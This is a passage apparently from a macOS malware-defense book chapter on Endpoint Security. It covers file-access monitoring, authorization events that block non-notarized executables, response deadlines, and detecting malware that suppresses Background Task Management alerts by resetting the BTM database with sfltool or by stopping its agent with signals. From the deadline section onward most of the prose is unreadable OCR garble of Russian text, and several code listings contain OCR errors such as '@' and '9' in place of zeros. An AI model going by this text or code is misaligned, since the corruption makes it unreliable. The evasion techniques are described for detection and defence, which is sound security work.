Mei extract path to responsible process. We can always find this process in message structure passed by
reference to handler block. To get its path, we check member executable process structure. Next, we
extract path of file that process attempted to open. For events ES_EVENT_TYPE_NOTIFY_OPEN, this path is
found in structure es_event_open_t, located in message structure member event. After extracting paths
for responsible process and file, we print them out.

Tool should now detect any access to files in Documents directory. You can test this by running
ESPlayground with flag -muteinvert. You'll see that it displays no Endpoint Security events unless they
originate within Documents. You can trigger such events by either browsing to directory via Finder or using
terminal, for example to list directory contents via 1s:

# ESPlayground.app/Contents/MacOS/ESPlayground -muteinvert

ES Playground

Executing 'mute inversion' logic

unmuted all (default) paths

mute (inverted) /Users/Patrick/Documents

event: ES_EVENT_TYPE_NOTIFY_OPEN

process: /System/Library/CoreServices/Finder.app/Contents/Mac0S/Finder

file path: /Users/Patrick/Documents

event: ES_EVENT_TYPE_NOTIFY_OPEN

process: /bin/ls
file path: /Users/Patrick/Documents

If we extended example code to also monitor other directories, such as those where browsers store their
cookies, we'd easily detect stealers such as MacStealer. In next section, I'll cover powerful authorization
event type.

Authorization events

Unlike notification-based events, which Endpoint Security client receives after some activity occurs on
system, authorization events allow client to examine and then allow or deny events before they've
completed. This feature provides mechanism for building security tools capable of proactively detecting
and thwarting malicious activity. Although working with authorization events involves similar concepts as
working with notification events, there are some important differences. To explore these, let's dive into
code.

Conceptually, our goal is simple: design tool capable of blocking execution of non-notarized programs
originating from internet. As we've seen, overwhelming majority of macOS malware is not notarized, while
legitimate software almost always is, making this a powerful approach to stopping malware. When user
attempts to launch item downloaded from internet, we intercept this execution before it is allowed, then
check notarization status. We'll allow validly notarized items and block all others.

At time of this writing, recent versions of macOS attempt to implement same check, but do so less
rigorously. First, up until macOS 15, if user right-clicks downloaded item, operating system still provides
option to run non-notarized items. Malware authors are, of course, well aware of this loophole and often
leverage it to get their untrusted malware to execute. Prolific macOS adware Shlayer and many macOS
stealers are fond of this trick. Moreover, Apple's implementation to prevent non-notarized code on macOS
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has been rife with exploitable bugs (such as CVE-2021-30657 and CVE-2021-30853), rendering it
essentially useless. 51

| implemented notarization check in one of Objective-See's most popular tools, BlockBlock, discussed in
detail in Chapter 11. When run in notarization mode, this tool blocks any downloaded binary that isn't
notarized, including malware that attempts to exploit CVE-2021-30657 and CVE-2021-30853, well before
patches from Apple were available. 6T we roughly follow BlockBlock's approach here. Note that in your
own implementation, you might take less draconian approach; for example, rather than blocking all
non-notarized items, you might block only those that users may have been tricked into running. In macOS
15, Apple introduced event ES_EVENT_TYPE_NOTIFY_GATEKEEPER_USER_OVERRIDE, which you may be
able to leverage to detect this. Or you might collect non-notarized binaries for external analysis or subject
them to other heuristics mentioned in this book before deciding whether to prevent their execution.

Creating a client and subscribing to events

In this section, we subscribe to Endpoint Security authorization events before discussing how to respond
to such events in timely manner. Full implementation of code mentioned in this section can be found in
function authorization, in file authorization.m project ESPlayground.

As when working with notification events, we start by creating Endpoint Security client, specify block
es_handler_block_t, and subscribe to events of interest (nuctuHr 9-6).

es_client_t* client = NULL;
es_event_type_t events[] = {ES_EVENT_TYPE_AUTH_EXEC};

es_new_client(&client, ~(es_client_t* client, const es_message_t* message) {
// Add logic to allow or block processes.
1

es_subscribe(client, events, sizeof(events)/sizeof(events[0]));
Jlnctunr 9-6: Subscribing to authorization events for process executions

To block non-notarized processes, we need to subscribe to only single authorization event:
ES_EVENT_TYPE_AUTH_EXEC. Apple's developer documentation succinctly describes it as event type for
any process that “requests permission from the operating system to execute another image.” [T Once call
to es_subscribe returns, Endpoint Security will invoke our code anytime new process is about to be
executed.

Next, we must respond to operating system with decision to either authorize or deny delivered event. To
respond, we use APl es_respond_auth_result, defined as follows in ESClient.h:

es_respond_result_t es_respond_auth_result(es_client_t* _Nonnull client,
const es_message_t* _Nonnull message, es_auth_result_t result, bool cache);

Function takes client that received message, delivered message, authorization result, and flag indicating
whether results should be cached. To allow message, invoke this function with value
ES_AUTH_RESULT_ALLOW of es_auth_result_t. To deny message, specify value ES_AUTH_RESULT_DENY.
If you pass true for cache flag, Endpoint Security cache authorization decision, meaning future events
from same process may not trigger additional authorization events. This has performance benefits, though
there are important nuances to be aware of. First, imagine you've cached authorization decision for
process execution event. Even if that process executed with different arguments, no additional
authorization event will be generated, which could be problematic if detection heuristic makes use of
process arguments. Second, be aware that cache is global for system, meaning if any other Endpoint
Security client does not cache an event, you'll still receive it, even if you've previously cached it.
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Let's build upon code in listing 9-6 to extract path of process about to be spawned and then determine how
to respond. For simplicity, we'll just allow all processes in this example (nucTuHr 9-7).

es_client_t* client = NULL;
es_event_type_t events[] = {ES_EVENT_TYPE_AUTH_EXEC};

es_new_client(&client, ~(es_client_t* client, const es_message_t* message) {
es_process_t* process = message->event.exec.target;
es_string_token_t* procPath = &process->executable->path;

printf("\nevent: ES_EVENT_TYPE_AUTH_EXEC\n");
printf("process: %.*s\n", (int)procPath->length, procPath->data);

es_respond_auth_result(client, message, ES_AUTH_RESULT_ALLOW, false);
1

es_subscribe(client, events, sizeof(events)/sizeof(events[0]));
JluctnHr 9-7: Handling process authorization events

Within callback block, we extract information about process that is about to be spawned. First, we get
pointer to its structure es_process_t, found with structure es_event_exec_t in Endpoint Security
message. From this, we extract just its path and print it out. Finally, we invoke API
es_respond_auth_result with ES_AUTH_RESULT_ALLOW, 4To6kI tell Endpoint Security subsystem to
authorize that process execution.

MpumeuaHue. In ESTypes.h, Apple specifies important but easy-to-overlook nuance: for file
authorization events (ES_EVENT_TYPE_AUTH_OPEN) only, your code must provide authorization
response via function es_respond_flags_result, not via function es_respond_auth_result.
The same header file notes that when invoking function es_respond_flags_result, you should
pass value 0 to deny event and UINT32_MAX to allow it.

Let's run ESPlayground with flag -authorization, then launch Calculator application:

# ESPlayground.app/Contents/MacOS/ESPlayground -authorization

ES Playground

Executing 'authorization' logic

event: ES_EVENT_TYPE_AUTH_EXEC

process: /System/Applications/Calculator.app/Contents/Mac0S/Calculator

We see authorization event, and because we're allowing all processes, Endpoint Security doesn't block it.

Meeting message deadlines

There is one very important caveat to responding to authorization events: if we miss response deadline,
Endpoint Security will allow event and forcefully kill our client.

Exception Type: EXC_CRASH (SIGKILL)

Exception Codes: ©x0000000000000000, 0x0000000000000000

Termination Reason: Namespace ENDPOINTSECURITY, Code 2 EndpointSecurity client
terminated because it failed to respond to a message before its deadline

C TOuKM 3peHnsa cucTeMbl M yaobCTBa MCNOMNb30BaHMSA TakoM NOAX04 UMEET CMbIcr. Ecnu nporpamma
CNULLIKOM [OSIrO HEe OTBEYaEeT, BCSI CUCTEMA MOXET Ha4YaTb TOPMO3UTb WUIN, XY>KE TOro, 3aBUCHYTh.

CTpykTypa es_message_t cogepxuT none ¢ umeHem deadline, KOTOpoe TOYHO COOBLLAET HaM, CKOJbKO
BPEMEHMN Y Hac ecTb, YTOObI OTBETUTL Ha cooOLLEeHMEe. 3aronoBoYHbIN dhaiin Takke OTMEYaAET, YTO
JennanH MOXET CYLLIeCTBEHHO pasnnyaTbCHa OT COOOLLEHNS K COOBLLEHMIO; NO3TOMY HaLl KOA AOIMKEH
NpoBepATb AeAf1alH KaXgoro coobLeHns CoOoTBETCTBYOLWUM 06pasom.
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PaccmoTtpum, Kak normka MoHUTopuHra npoueccoB B BlockBlock o6pabaTbiBaeT aegnanitbl. (8] [JennanHsel
0CcODOEHHO Ba)HbI OnAa 3TOro MHCTPyMeHTa, NOCKOJ1bKY OH XXAOEeT BBOAA Nofib3oBaTend nepen
aBTopM3au,V|e17| nnn 3anpeTom HeHOTapu3oBaHHOIO MnpoLuecca, a 3Ha4YUuT CTallkmBaeTcsa C BMnoJiHe
peanbHO BEPOATHOCTBLIO JONTW A0 AesianHa (ncTtuHr 9-8).

dispatch_semaphore_t semaphore = dispatch_semaphore_create(9);

uint64_t deadline = message->deadline - mach_absolute_time();

dispatch_async(dispatch_get_global_queue(QOS_CLASS_DEFAULT, @), ~{

if(@ != dispatch_semaphore_wait(semaphore,

dispatch_time(DISPATCH_TIME_NOW, machTimeToNanoseconds(deadline)

- (1 * NSEC_PER_SEC)))) {

es_respond_auth_result(client, message, ES_AUTH_RESULT_ALLOW, false);

}
1)

Jlncturr 9-8: ObpaboTka aeanariHoB coobuweHun Endpoint Security B BlockBlock

CHauana kog cosgaet cemadop u BeluncnseT geananH. MNMockoneky Endpoint Security coobuyaet
AennanH coobuleHusi B abCOMOTHOM BPEMEHMU, KO BblYMTAET N3 HETO TEKYLLEe BPeEMS, YTODbI BbISICHUTD,
CKONbKO BPEMEHW ocTarnocb. 3aTeM Ko oTnpaBnseT 6110k Ha aCMHXPOHHOE BbiNoMHeHWEe B POHOBOM
ouepeau, rae OH JOCTaBnseT coobLleHne Nonb3oBaTento 1, B APYromMm acMHXpPOHHOM 6roke, oxuaaet
oTBeTa. S onycTUn aTy YacTb KOAA paau KpaTKOCTU, NOCKOSbKY ee AeTany He UMEKT OTHOLLEHUS K CYTW.

BbinonHeHne TpebytoLen BpemeHn 06paboTkm B ApYyro aCMHXPOHHOW oYepeamn No3BonsaeT kogy nogatb
curHan cemadopy, korga oopaboTka 3aBepLueHa, U n3dexartb TaiM-ayTa, KOTOpbI Ko4 HacTpansaeT
nanee. NMocne Toro kak BlockBlock poctaBun coobLueHre nonb3oBaTeNo U oXxXuaaet oTBeTa, OH
BbI3biBaeT pyHKUM0 dispatch_semaphore_wait, 4toObl xxgaTb Ha cemadope A0 onpenerieHHoro
BpeMeHu. Bbl, BepOsITHO, foraganucek: yHKUUA XAOET NOYTHM 4O CaMoro AeanarHa cooduwexus. Ecnu
NPONCXOAMT TanM-ayT (TO eCTb OTBET MNorfb3oBaTens He nogan curHan cemadopy, a geanaviH coobLieHns
BOT-BOT OyAeT JOCTUMHYT), y KOAa He OcTaeTcs Bblbopa, KpOMe KaK OTBETUTh; MO YMOMYaHMWIO OH AernaeT
37O, aBTOPU3Ys COOLITHE.

O6paTnTe BHMMaHWe, YTO 3Ha4YeHme abconoTHoro BpemeHn Mach, Bo3Bpalyaemoe hyHKLMEN, MOXET
pasnuyaTtbCcs Mexay npoueccamv B 3aBUCUMOCTW OT TOrO, ABNAKOTCH NN OHU HATUBHBIMU UMK
TPaHCNMPOBaHHbIMU. YTOOLI COXpaHWUTbL COrNMacoBaHHOCTb, crieayeT NPUMeEHsITb timebase, koTopbin
MOXHO NONYyYnTb C NoMoLb0 PyHKLMK mach_timebase_info. [JokymeHTaumsa Apple unnoctpupyeT aTo
cnefyloLmnM KogoMm, KoTopbln npeobpasyeT 3HavyeHme Mach time B HaHOCeKyHAbI € UCNONb30BaHMEM
MHgopmMauuu timebase:

uint64_t MachTimeToNanoseconds(uint64_t machTime) {

uint64_t nanoseconds = 9;

static mach_timebase_info_data_t sTimebase;

if (sTimebase.denom == @)

(void)mach_timebase_info(&sTimebase);

nanoseconds = ((machTime * sTimebase.numer) / sTimebase.denom);

return nanoseconds;

}

Bbl MOrnu 3ameTntb, YTO KOA B NMUCTUHrE 9-8 ncnonb3oBan 3Ty (PYHKLMIO NPU BbIYNCIIEHUN BPEMEHMN
oxnganua gn4a dispatch-cemadopa.

MpumeyaHue. Ecnu Bbl acMHXPOHHO obpabaTtbiBaeTe cooblieHms Endpoint Security, Hanpumep korga
3anpaluvBaeTe BBOZ Y MOMNb30BaTenNsi U 0XuaaeTe ero oTBeTa, Heobxoaumo yaepxaTb coobLleHne Yyepes
APl es_retain_message. Korga pabota c coobLieHnem 3aBepLueHa, Heobxogumo ocsoboanTb ero
BbI30OBOM es_release_message.

Tenepsb, Koraa Bbl yBUAENN, Kak OTBEYaTh Ha aBTOpM3aunoHHble cobbiTusa Endpoint Security ¢ yueTom
AeanaviHoB, Bbl FTOTOBbI PACCMOTPETL MOCMEAHIO YacTb rofioBOSIOMKM "GNOKMpoBaHne
HEeHOTapM30BaHHbIX NpoLeccoB”.
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MpoBepka npoucxoxaeHusa bMHapHbIX hannos

[Mocne Toro kak mMbl 3apermcTpupoBanncb Ha cobbitua ES_EVENT_TYPE_AUTH_EXEC, cuctema byget
BbI3blBaTb 6510k es_handler block_t, nepegaHHbin pyHKUMM es_new_client, nepen nopoxageHnem
Ka)koro HoBoro npouecca. B aTot 6rnok Mbl fo6aBMM NOTUKY, 3anpeLuaroLLyto TONbKO HEHOTapM30BaHHbIE
NpoLeCChI U3 yaaneHHbIX MeCTONONOXEHUI. MocneaHast YacTb BaXkHa, MOCKOMbKY fokanbHble platform
binaries He HOTapun3oBaHbI, HO, padyMeeTcsl, AOMKHbI ObiTb pa3peLueHbl. B Tom xe ayxe Bbl MOXeTe
3axoTeTb paspemnTb NpunoxeHnsa n3 ocuumnansHoro Mac App Store. XoTs oHM He HOTapu30BaHbI, OHU
NPOLUMY NOXOXWN 1, Kak Xo4eTCs HagesdTbCH, CTPorni npouecc nposepku Apple.

YUTto6bl oNpeaenuTb, NpuLen v GuHapHbIA dan npouecca U3 yaaneHHOro MecTononoXeHus, Mol
nonoxumesi Ha macOS 1 npoBepuM, 6bin M1 GuHapHbIn harn translocated Ny MMeeT pacLUIMPEHHBIN
aTpubyT com.apple.quarantine. Ecnu noboe 13 3aTMx yCNoBMIM UCTUHHO, ONepauMoHHas cuctema
nomeTuna obbLEKT Kak MPOUCXOAALLMN U3 yAaneHHOro UCToYHunka. Translocation - 370 3awmTHas Mepa,
BCTPOEHHas B coBpeMeHHble Bepcun macOS u npeaHasHaveHHas ons npoTMBOAENCTBUS atakam relative
dynamic library hijacking. ol

KopoTko roBopsi, korga nonb3oBaTesib NbITAETCA OTKPbITh UCMOMHAEMbIN 06beKT 13 3arpykeHHoro disk
image unu ZIP-danna, macOS cHavyana co3gaeT cryvyanHbivi read-only mount, cogepxaLumim Konmio
obbekTa, a 3aTeM 3anyckaeT 3Ty Konu. Ecrnv Mbl MoXem nporpaMMHO onpeaennTb, YTO NpoLecc,
KOTOpbI BOT-BOT OyAeT BbINOMHeEH, bbin translocated, mbl 3Haem, 4TO ero cnegyeTt NOABEPrHYTL NPOBEPKE
notarization.

UTto6bl NnpoBepuThb, Bbin N 06BbEKT translocated, MOXHO BbI3BaTb NpuBaTHbIN API
SecTranslocateIsTranslocatedURL. OTa pyHKUMSI NPUHMMAET HECKONLKO MapaMeTpoB, BKIHOYasi NyTb
K npoBepsieMoOMy 06BbEKTY U yka3aTenb Ha Boolean-cnar, kotopeit macOS ycTaHOBUT B true, ecnv oHa
translocated atoT 06bekT. lNMockonbky APl npuBaTHbIN, Nepes BbI3OBOM Mbl AOMMKHbI AMHAMUYECKN
paspewunTb ero. Kog B nuctuHre 9-9 genaet obe 3Tu Belww. (1ol

#import <dlfcn.h>

BOOL isTranslocated(NSString* path) {

BOOL isTranslocated = NO;

void* handle = dlopen(

"/System/Library/Frameworks/Security.framework/Security", RTLD_LAZY);

BOOL (*SecTranslocateIsTranslocatedURL)(CFURLRef path, bool* isTranslocated,

CFErrorRef* _ nullable error) = dlsym(handle,"SecTranslocateIsTranslocatedURL");

SecTranslocateIsTranslocatedURL((__bridge CFURLRef)([NSURL fileURLWithPath:path]),

&isTranslocated, NULL);
return isTranslocated;

}

JInctunr 9-9: BenomoratensHasa dyHKUMs, ncnonbaytowwas npusaTtHole API, 4Tobbl onpegennuTb, 6bin nun
obbekT translocated

Kopg 3arpyxxaet dpperimBopk Security, koTopbin coaepxuTt APl SecTranslocateIsTranslocatedURL.
Mocne 3arpy3ku kog paspeluaeTt APl yepes d1sym, a 3aTeM Bbi3biBaeT (PYHKLMIO C MYyTEM K MPOBEPSAEMOMY
obbekTy. Korga API BosspallaeTcs, OH yCTaHOBUT BTOPOW NapaMeTp B pe3yrnbTaTt NposBepku translocation.

Opyron cnocob npoBepuTb, UMEET NN 0OBEKT yaaneHHOe NPOUCXOXAEHUE, - NOCMOTPETb PacCLUMPEHHbIN
aTpubyT com.apple.quarantine, OGaBNEHHbIA MO0 NPUITOXXEHNEM, OTBETCTBEHHbBIM 3a 3arpy3ky
obbekTa, MMbG0o HENOCPEACTBEHHO ONEPALMOHHON CUCTEMOM, ECITN NPUITOXKEHWNE YCTAHOBUIO
LSFileQuarantineEnabled = 1 B cBoem dhavine Info.plist. 3HayeHne paclumpeHHoro atpubyTta
006BbEeKTa MOXXHO NPOrpPaMMHO MOSYYNTb C MOMOLLBIO PasnmnyHbIX NpuBaTHbiX APl gtn_file *,
Haxogsawmxcsa B /usr/1lib/system/libquarantine.dylib, xoTa cHa4yana aTu yHKUMU HYXXHO
OUHamMu4ecku paspelumnTb. BoibiBariTe ux cnegyowmm obpasom:

1. BoizoBute qtn_file_alloc, 4Tobbl BolAENUTL CTPYKTYPY _qtn_file.
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2. BoizoBute APl gtn_file_init_with_path c ykazatenem _gtn_file n nytem ob6bekTa, YbK
quarantine-aTpmbyTbl Bbl XOTUTE Nony4nTb. Ecnn ata dyHKumnsA Bo3spaiiaeT QTN_NOT_QUARANTINED
(-1), oOBbEKT He HAaXOANTCH B KapaHTUHE.

3. BoizoBute API gtn_file_get flags c ykasatenem _qtn_file, 4ToObl monyy4nTb hakTnyeckoe
3Ha4YeHue paclumpeHHoro atpubyTta com.apple.quarantine.

4. Ecnn cpyHkuma qtn_file _init with_path He BepHyna QTN_NOT_QUARANTINED, Bbl OyaeTe 3HaThb, YTO
0OBbEKT HAXOOUTCH B KapaHTMHE, HO, BO3MOXHO, 3aX0TUTe NPOBEPUTL, 0400PAN N Nonb3oBaTerb
hann paHee. ITO MOXHO ONpeaennTb, NPOBEPUB 3HaYEHNe, Bo3BpaLleHHoe qtn_file get flags,
roe MoOXeT ObITb ycTaHoBIeH 6uT QTN_FLAG_USER_APPROVED (0x0040).

5. ObsasaTensHO ocBoboanTe CTPYKTYpY _qtn_file, Bbi3BaB qtn_file_free.

B Heckonbkux criyqasix macOS He knaccudmumpoBarna HernokanbHble 0ObeKTbI Kak Mpoucxogsiime ns
yOaneHHoro NCToYHUKa Haanexawmm obpasom. Hanpumep, B CVE-2023-27951 onepauuoHHas cuctema
He NPUMeHsINa paclnpeHHbIn aTpnbyT com. apple.quarantine. lNMoatomy B production-koae Bbl MOXeTe
3ax0TeTb NCMOMb30BaTb 60mee KOMMMEKCHBIN MOAXOA K OnpederneHnio MponcxoXxaeHns nuHapHoro
davina. Hanpumep, MoxxHo cosgaTsb file monitor ona obHapyxxeHus 3arpy3ok buHapHbIX pannos, a 3atem
nogsepraTb 3Tn GuHapHLIE harnbl NpoBepkam notarization, unm npocto 6noknpoBaTh Nobor nonplatform
binary, koTopbIli He HoTapu3oBaH. W ga, BpegoHocHoe MO (mocne Toro Kak OHO YXXe 3anyLeHo) MoXeT
yOanuTb paclumMpeHHbIn atpubyT quarantine ¢ opyrmx KOMNOHEHTOB, KOTOPbIE OHO 3arpy3unno Ao ux
BbIMOJTHEHUS, YTODObI MOTEeHUManbHO 06onTK Nnpoepkn macOS unu BlockBlock. B cBA3n ¢ 3TMM Bbl Takke
MOXeTe 3ax0TeTb nognucatbca Ha cobbitne Endpoint Security ES_EVENT_TYPE_AUTH_DELETEEXTATTR,
KOTOPOE CMOXET OBHapyuUTb 1 NpegoTBpaTuTb yaaneHue atpnbyra quarantine.

Tenepb, Koraa Mbl MOXeM onpeaenuTb, NPONUCXOAUT N NpoLece U3 yaaneHHOro MCTOYHWUKA, Mbl JOMXKHbI
NpoBEpUTb, HOTApPU30BaH M BMHaPHbLIN dhans, nexaliuin B ocHoBe npouecca. Kak Bbl Bugenu B rnaee 1,
3TO TaK e NpocTo, Kak Bbl3BaTb AP| SecStaticCodeCheckValidity ¢ coOTBETCTBYIOLLEN CTPOKON
requirement. Ecnu BlockBlock yctaHaBnuBaeT, 4To npoLecc, KOTOpbI BOT-BOT OyAeT BbINOMHEH,
NPONCXoAMT U3 yAarneHHOro UCTOYHMKa 1 He HOTapu3oBaH, OH NpeaynpeanT rnosb3oBaTerns u 3anpocuT
ero BeoA. Ecnu nonb3oBaTtenb peLwwunT, 4TO NpoLecc, HanpuMmep, HeHagexeH nnn HenssecTteH, BlockBlock
BbI30BET (PYHKLUMIO U3 NUcTuHra 9-10, 4tobbl 3abnoknposaTh ero.

-(BOOL)block: (Event*)event {

BOOL blocked = NO;

if(YES != (blocked = [self respond:event action:ES_AUTH_RESULT_DENY])) {

os_log_error(logHandle, "ERROR: failed to block %{public}@", event.process.name);
¥

return blocked;
¥
JInctunr 9-10: bnokmpoBaHWe HeHaaeXHbIX NPOLECCOB

OHa BbI3blBaeT MeTof respond:action: ¢ kKoHcTaHTOM ES_AUTH_RESULT_DENY. Ecnu mbl nocmMoTpuMm Ha
3TOT MeTof, TO YBMAUM, YTO B OCHOBE OH MNPOCTO BbI3blBaeT es_respond_auth_result, nepenasas
ykasaHHoe gevicteue allow unm deny nogcuncreme Endpoint Security. Kpome Toro, nockonsky ans cpnara
cache nepegaetcs true, nocneayowune BbIMNOMHEHMS TOrO Xe npouecca He ByayT reHepupoBaTtb
AONOMHUTENbHbIE aBTOPU3aLMOHHBbIE COBLITUS, YTO AaeT 3aMETHbIN NPUPOCT NPOU3BOAUTENBHOCTH
(nmucTuHr 9-11).

-(BOOL)respond: (Event*)event action:(es_auth_result_t)action {
;é;ult = es_respond_auth_result(event.esClient, event.esMessage, action, true);
i.'

JlnctnHr 9-11: Mepepayva Endpoint Security genctens, KOTOpoe HYXXHO BbINOSHUTb

MonHyto peanusaumto, 6GNOKMpPYIOLLYI0 HEHOTapU30BaHHbIE NMpouecchl Yepes Endpoint Security, cmoTpute
B process plug-in BlockBlock. (]
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BnoknpoBaHue o6xoaoB Background Task Management

PaccmoTpum elle oavH NpyMep, UCNoMb3yoLLMIA aBTopu3aumnoHHble cobbitust Endpoint Security ans
obHapyxeHusi BpegoHocHoro N0, Ha aTOT pa3 ¢ POKYCOM Ha MOMbITKax 3a4enCcTBOBaTb SKCMIIONThI,
obxoasLime BCTPOeHHble MexaHn3mbl 6esonacHocTn macOS. XoTs ncnonb3oBaHne 3TMX IKCMITONTOB
noka He pacrnpoCcTpaHeHo LUMPOKo, AobaBneHne HoBbIX MexaHM3moB 6e3onacHocTn B macOS Bce valle
BbIHYXAaeT BpefoHocHoe MO NpuMeHsATb HOBbIE TEXHUKN AN AOCTMKEHMS CBOMX BPEOOHOCHBIX Lienen,
NO3TOMY MOHUTOPUHI 3TUX IKCMIONTOB MOXET MOMOYb BaLLUUM AETEKTUPOBAHUAM.

B rnaBse 5 s obcyxxgan HoByto 6a3y aaHHbIX Background Task Management (BTM) B macOS, koTopas
OTCNEeXMBaeT 3MeMEHTbI 3aKpenneHusl, reHepypyeT NpeaynpexaeHns o HUX 1 rnobanbHo oTcrnexnsaeT
nx noegeHne. BTM npobnemartnyHa ons spegoHocHoro N0, HageroLwerocsa 3akpenmTbesl, MOCKOSbKY
Tenepb NoOnNb3oBaTenu nonyyat npeaynpexaeHue, korga BpegoHocHoe MO ByageT yctaHOBNEHO.
Hanpwumep, pucyHok 9-1 nokaseiBaeT npegynpexgeHne BTM, koTopoe nonyyatoT nons3osaTenu, Koraa
BpeaoHocHoe N0, naeecTtHoe kak DazzleSpy, ycTonumBo ycTaHaBnNmBaeT cebsi kKak OMHapHbI dhann ¢
nmeHeM softwareupdate.

Background Items Added
(‘E :] “softwareupdate” is an item that can runin

the background. You can manage this in
Login Items Settings.

PucyHok 9-1: MpegynpexaeHne BTM, nokasbiBatoLee, 4To OMHapHbIN dhann ¢ umeHeM softwareupdate
OblN YCTOMYMBO YCTAHOBIIEH

K cuactbio ans spegoHocHoro MO, moe uccnegosaHme BTM nokasano, 4To nepBoHavanbHyo
peanusaumto Apple 66110 nerko 060NTN HECKOMBKUMK cnocobamu, NpegoTBpaLLas 3To NpeaynpexaeHune.
B aTom pasgene nogpobHo onuncaHbl ABa Takux obxoda v nokasaHo, Kak ncnonb3oBatb Endpoint Security
ans o6HapyXeHus 1 BNoKMpoBaHMs 3TUX NOAPLIBOB. 3aMeTbTe, YTO 51 coobwmn Apple 06 aTmx
npobnemax, 1, no kparHen mepe B macOS 15 (a BO3MOXHO, 1 B 6onee paHHuX Bepcusix macOS), oHu,
noxoxxe, ObINK NcnpaeneHbl. TeM He MeHee Bbl MOXETE adanTUpoBaTh KOA M3 3TOro pasaena ans
oBHapyXeHuWs ApYruX nokKanbHbIX 3KCMONTOB.

Py4Hble copocbl 6a3bl AaHHbIX

Mepebin MmeTog o6xona BTM 6bin HeBeposTHO NpocT. HanoMHio, 4To B rnaee 5 obecyxaanca sfltool,
noctasnsembii ¢ macOS 1 No3BONSAOLLNIA NONb30BaTENAM B3anMoaencTBoBaTh ¢ 6a3on gaHHbix BTM.
OpavH 13 ero napameTpoB KOMaHAHOW CTPOKK, resetbtm, ounwaeT 6a3y AaHHbIX, 3acTaBnss ee
nepectpamBaTbcda. OgHaKO Nocne BbINOMHEHMS 3TON KOMaHAbl cCucTeMa He ByaeT 4OCTaBnATb
nocrnegyowme npegynpexaeHna BTM go nepesarpysku, faxe ecrnv aneMeHTbl Bce eLle MoryT
3aKpennaTbcs.
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Takum obpasom, BpegoHocHoe MO, xenatoliee nsdexaTb reHepaunn npegynpexaeHunii BTM, morno 6Ol
NpOCTO BbINONHUTL sTltool ¢ KoOMaHOoN resetbtm nepes BbINOMHEHMEM CBOErO KOAa 3aKpenseHus.
TexHuka noka He Habnoganacb B ANKON Cpefe, HO ee NErko SKCniyaTupoBaThb, Kak Noka3aHo B
cnegyowem coobLLeHNn XXypHana, CreHepMpoBaHHOM Mocre py4Horo cbpoca 6a3bl JaHHbIX. 3TU
coobLLeHns nokasbiBatoT, YTO, XOTa AeMOoH BTM obHapyxun persistent install DazzleSpy, oH pewuun He
ny6nvkoBatb advisory alert:

% log stream

backgroundtaskmanagementd: registerLaunchItem: result=no error, new item

disposition=[enabled, allowed, visible, not notified],

identifier=com.apple.softwareupdate,

url=file:///Users/User/Library/LaunchAgents/com.apple.softwareupdate.plist

backgroundtaskmanagementd: should post advisory=false for uid=501, id=
6ED3BEBC-8D60-45ED-8BCC-EQ163A8AA806, item=softwareupdate

B HopmanbHbIX 06CTOSATENLCTBAX Y NOJSIb30BAaTENEN HET NPUYKNH cOpacbiBaTb 6a3y AaHHbix BTM. MosTtomy
Mbl MOXXEM Npeceyb 3TOT IKCMIOWT, NOANUCaBLIMNCEL Ha cobbITUA nNpoueccoB Endpoint Security n
3abnokmpoBas nopoxgeHue sfltool, korga OH BbINOMHAETCH C apryMeHTOM resetbtm.

YUT06bI 06HapyXmBaThb BbINOMHEHME NPOLLECCOB, BKNoYas sf1ltool, MOXHO 3aperncTpupoBaTbCs Ha
cobbiTve ES_EVENT_TYPE_NOTIFY_EXEC, obcyxgaBweecs B rnaBe 8. Mbl MOXXeM NOMy4nTb JOCTYN K NyTH
npoLecca 4Yepes CTPYKTypy es_process_t process 1 U3BMNeYb €ro apryMeHTbl C MOMOLLbIO
helper-cbyHkUMn es_exec_arg_count u es_exec_arg. [locne Toro kak Bbl M3BNEKNN MNYTb U apryMeHTbl,
NpOCTble CTPOKOBbIE CPaBHEHWS OOJKHbI CKasaTb, ABMSETCH M coobLieHHoe cobbiTve npouecca
pesynbTaTtom 3anycka sfltool c aprymeHTOM resetbtm.

KoHeuHo, Bbl, CKOpee BCero, 3axoTute 6oknpoBaTtb 3TN COObLITUSI, YTO MOXHO cAenaTb,
3apervcTpupoBaBLnCb Ha ES_EVENT_TYPE_AUTH_EXEC. Callback atoro cobbitmsa 6yaeT Bbi3BaH C
coobuweHnem Endpoint Security, cogepxalumm ykasaTternb Ha CTPYKTypy es_process_t. VI3 Hee MOXHO
n3BreYb Kak MyTb, TaK M aprymMeHTbI MpoLecca, KOTOpbIA BOT-BOT OyAeT NOPOoXaeH, a 3aTem
3abnokmpoBaTtb NOpPOXAEHME, BbI3BaB (PyHKLMIO es_respond_auth_result co 3HauyeHuem
ES_AUTH_RESULT_DENY.

Stop-curHanol

Wccnenysa nogcuctemy BTM, 9 HaTKHYnCst Ha eLle OAvH TpyBManbHbIn cnocod obontu ee
npeaynpexaeHuns. (2] BkpaTtue, BpegoHocHoe MO morno nerko otnpasuTb stop-curHan (SIGSTOP) areHTy
BTM, oTBeTCcTBEHHOMY 3a nokas advisory message 0 3akpensneHun nosibaosatento. Kak Tonbko aToT
KOMMOHEHT ocTaHaBnmBarncs, BpegoHocHoe MO morno 3akpenutbcsa 6e3 npeaynpexaeHns
noneb3oBatend. Ytobbl o6Hapyx1Tb 1 3a6nokupoBaTh 3TOT 06X04, Mbl CHOBA MOXEM ONepeTbes Ha
Endpoint Security. [Nockonbky kpanHe ManoBepoOsTHO, YTO NOfb30BaTESb B HOPMarbHbIX
obcTosaATenbCcTBax oTNpaBuT curHan SIGSTOP areHTy BTM, Mbl MOXeM NpeanosnioXnTb, YTO 3TO CoObITME
SBNsieTCA NOnbITKOM BpeaoHocHoro N0 nogopeaTth Nnoacuctemy.

Yepes rog nocne Moeln npeseHTtaumm uccnegosartenu SentinelOne obHapyxunu BpegoHocHoe MO,
NPUMEHSBLLEE MOXOXMI (XOTA U MEHee aneraHTHeIN) noaxod. B ceoem oTtuete (131 nccnegosartenu
OTMETWIU, YTO BPEOOHOCHbIN kog noctosiHHO oTnpasnan kill-curian npoueccy Notification Center macOS,
4yTOObLI 3a6rokMpoBaTh advisory message BTM o 3akpenneHun, KoTopoe cucteMa obbl4HO NokasbiBana
Obl Npy 3akpenneHnn BpegoHocHoro MO.

Mbl MmOXxem 0BHapyxuBaTb CUrHarbl C MOMOLLBIO COObITMA ES_EVENT_TYPE_NOTIFY_SIGNAL unu, 4To ele
nydile, NOMHOCTbI0 BrIOKMPOBATL CUMrHarbl C MOMOLLIbIO COOTBETCTBYHOLLIErO aBTOPM3ALIMOHHOI0 cobbITUA
